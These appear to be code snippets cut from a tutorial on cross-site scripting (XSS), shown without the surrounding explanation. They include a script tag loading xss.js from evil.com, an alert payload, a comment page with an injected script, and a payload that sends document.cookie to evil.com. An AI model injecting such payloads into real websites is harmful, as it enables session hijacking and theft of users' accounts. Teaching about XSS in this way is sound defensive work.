1<!-- External script -->
2<script src=http://evil.com/xss.js></script>
3<!-- Embedded script -->
4<script> alert("XSS"); </script>
1<html>
2<h1>Most recent comment</h1>
3<script>doSomethingEvil();</script>
4</html>
1<script>
2window.location="http://evil.com/?cookie=" + document.cookie
3</script>